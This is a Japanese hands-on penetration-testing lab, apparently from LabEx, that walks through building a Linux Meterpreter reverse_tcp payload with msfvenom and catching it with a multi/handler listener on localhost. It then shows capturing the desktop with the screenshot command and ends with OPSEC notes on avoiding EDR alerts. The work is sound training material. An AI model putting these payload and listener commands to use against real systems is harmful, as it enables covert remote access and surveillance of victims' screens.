はじめに
Meterpreter は、インメモリ DLL インジェクションステージャーを使用し、実行時にネットワーク経由で拡張される、高度で動的に拡張可能なペイロードです。これは Metasploit Framework の中核コンポーネントであり、侵害されたシステムに対するポストエクスプロイト活動に使用されます。その多くの強力な機能の 1 つは、ターゲットのデスクトップと対話する能力です。
この実験では、Meterpreter セッション内で screenshot コマンドを使用する方法を学びます。このコマンドにより、攻撃者はターゲットの現在のデスクトップの画像をキャプチャでき、ユーザーのアクティビティ、開いているアプリケーション、および画面に表示される可能性のある機密情報に関する貴重な情報を得ることができます。
グラフィカルなターゲットでの Meterpreter セッションの確立
このステップでは、単一のマシンで完全な攻撃サイクルをシミュレートします。msfvenom を使用してペイロードを作成し、msfconsole を使用してリスナーを設定し、その後ペイロードを実行して自身のマシンとの Meterpreter セッションを確立します。これは、ペネトレーションテスト技術を練習するための安全で一般的な方法です。
まず、ターミナルを開き、msfvenom を使用して Linux Meterpreter ペイロードを生成します。このコマンドは、実行されるとリスナーに接続する実行可能ファイルを作成します。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
-p: 使用するペイロードを指定します。LHOST=127.0.0.1: 「リスニングホスト」の IP アドレスです。リスナーが同じマシン上にあるため、127.0.0.1を使用します。LPORT=4444: 接続バックするポートです。-f elf: 出力フォーマットで、Linux 用の実行可能ファイルです。-o: 出力ファイル名です。
次に、生成されたペイロードを実行可能にします。
chmod +x ~/project/payload.elf
次に、ペイロードからの接続をキャッチするためにリスナーを設定する必要があります。Metasploit Framework コンソールをサイレントモードで起動します。
msfconsole -q
msfconsole 内で、multi/handler を設定して着信接続をリッスンします。次のコマンドを 1 つずつ入力します。
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
次に、コンソールを引き続き使用できるように、リスナーをバックグラウンドジョブとして実行します。
exploit -j
ハンドラが開始されたことを示すメッセージが表示されるはずです。次に、ペイロードを実行する必要があります。ターミナルウィンドウの + アイコンをクリックして、新しい 2 番目のターミナルタブを開きます。この新しいタブで、作成したペイロードを実行します。
~/project/payload.elf
msfconsole がある最初のターミナルタブに戻ります。Meterpreter セッションが開かれたことを示すメッセージが表示されるはずです。それを確認して対話するには、アクティブなセッションを一覧表示します。
sessions -l
ID が表示される新しいセッションが表示されます。おそらく 1 です。その ID を使用して対話します。
sessions -i 1
プロンプトが meterpreter > に変わり、セッションを制御下に置いたことが確認できます。
screenshot コマンドを使用して画面をキャプチャする
このステップでは、シンプルながら強力な Meterpreter コマンドを使用してターゲットのデスクトップをキャプチャします。アクティブな Meterpreter セッション(meterpreter > プロンプトで示されます)が確立されたので、侵害されたシステム上でコマンドを実行できます。
screenshot コマンドは非常に簡単です。ターゲットマシンの対話型ユーザーのデスクトップセッションの画面全体をキャプチャします。
meterpreter > プロンプトから、コマンドを入力して Enter キーを押すだけです。
screenshot
Meterpreter は、画面をキャプチャし、画像データを攻撃者マシン(LabEx VM)に転送するのにしばらく時間がかかります。成功すると、スクリーンショットがどこに保存されたかを示すメッセージが表示されます。ファイル名は、.jpeg 拡張子を持つランダムな文字列になります。
出力は次のようになります。
Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg
これで、ターゲットのデスクトップを正常にキャプチャしました。画像ファイルはローカルマシンに保存され、表示する準備ができています。
Kali マシン上の保存された画像ファイルの特定
このステップでは、ローカルマシンに保存されたばかりのスクリーンショットファイルを特定します。screenshot コマンドは、キャプチャされた画像を、msfconsole を起動したディレクトリ(この場合は ~/project)に自動的に保存します。
まず、Meterpreter セッションを終了して msfconsole プロンプトに戻ります。これを行うには exit と入力します。
exit
次に、msfconsole を終了して通常の zsh ターミナルプロンプトに戻ります。
exit
これで標準ターミナルに戻りました。ファイルが存在することを確認するには、ls -l コマンドを使用してプロジェクトディレクトリの内容を詳細に一覧表示します。
ls -l ~/project
リストには、以前に作成した payload.elf ファイルとともに、.jpeg ファイルが表示されるはずです。出力は次のようになりますが、JPEG ファイル名は異なります。
-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex 54321 Nov 21 14:35 qKxRzYnL.jpeg
これにより、スクリーンショットが正常に転送され、マシンに保存されたことが確認できます。
キャプチャしたスクリーンショットの表示
このステップでは、キャプチャした画像を表示します。LabEx 環境にはグラフィカルデスクトップが含まれているため、コマンドラインから直接画像ビューアを使用してスクリーンショットの内容を確認できます。
ここでは、Xfce デスクトップ環境用のシンプルな画像ビューアである ristretto を使用します。スクリーンショットを開くには、ristretto コマンドの後に画像ファイルへのパスを指定して実行します。
前のステップで特定したスクリーンショットの実際のランダムなファイル名に FILENAME.jpeg を置き換える必要があります。たとえば、ファイル名が qKxRzYnL.jpeg の場合は、その名前を使用します。
実際のファイル名を使用して、ターミナルで次のコマンドを実行してください。
ristretto ~/project/FILENAME.jpeg
画像ビューアウィンドウが開き、スクリーンショットが表示されます。ペイロードを自分のマシンで実行したため、スクリーンショットは自分の LabEx デスクトップのものになります!これは、コマンドが期待どおりに機能したことを確認するのに最適な方法です。完了したら、画像ビューアウィンドウを閉じることができます。
この操作における運用セキュリティ上の懸念事項の議論
このステップでは、実際のペネトレーションテスト中に screenshot コマンドを使用することの運用セキュリティ(OPSEC)への影響について議論します。非常に便利なコマンドですが、リスクがないわけではありません。
1. ノイズの発生とアラートのトリガー:
screenshot コマンドは、ターゲットオペレーティングシステムのグラフィカル API(Windows の GDI や Linux の X11 など)と対話することで機能します。Endpoint Detection and Response(EDR)やアンチウイルスソフトウェアのような高度なセキュリティ製品は、これらの API 呼び出しを監視しています。通常デスクトップと対話しないプロセスが突然スクリーンショットを撮ることは、非常に疑わしい活動であり、アラートをトリガーしてセキュリティアナリストにあなたの存在を露呈させる可能性があります。
2. 証拠の残存: このコマンドは、攻撃者のマシン上に画像ファイルを生成します。このファイルは、侵入とその特定のアクションの直接的な証拠となります。もしあなたの攻撃マシンが押収されたり侵害されたりした場合、このデータはあなたの活動の範囲を理解するために使用される可能性があります。
3. ターゲット側のアーティファクト: 最終的な画像ファイルはあなたのマシンに保存されますが、画面をキャプチャする行為はターゲットシステム上に一時的なアーティファクトを残す可能性があります。これには、システムメモリ内の痕跡や、疑わしいアクションを検出したセキュリティソフトウェアによって生成されたログが含まれる可能性があります。熟練したフォレンジック調査員は、画像自体を見つけなくても、スクリーンショットが撮られた証拠を見つけることができるかもしれません。
実際のエンゲージメントでは、screenshot のようなコマンドは慎重に使用する必要があります。ターゲットシステムに高度な監視機能が欠けていると確信が高い場合、または得られる潜在的なインテリジェンスが検出のリスクを大幅に上回る場合に最適です。
まとめ
この実験では、基本的なポストエクスプロイテーション技術の実践的な経験を積みました。Meterpreter セッションを確立し、screenshot コマンドを使用してターゲットシステムのデスクトップをキャプチャする方法を習得しました。
以下の全プロセスを体験しました。
msfvenomを使用したペイロードの生成。msfconsoleを使用したリスナーの設定。- ペイロードを実行してリバースシェルを取得。
- Meterpreter セッションとの対話。
- スクリーンショットのキャプチャと結果画像の表示。
- 関連する運用セキュリティ(OPSEC)リスクの検討。
このスキルは、あらゆるペネトレーションテスターのツールキットにおいて貴重な一部であり、侵害されたホストから直接視覚的なインテリジェンスを収集する方法を提供します。実験の完了おめでとうございます!


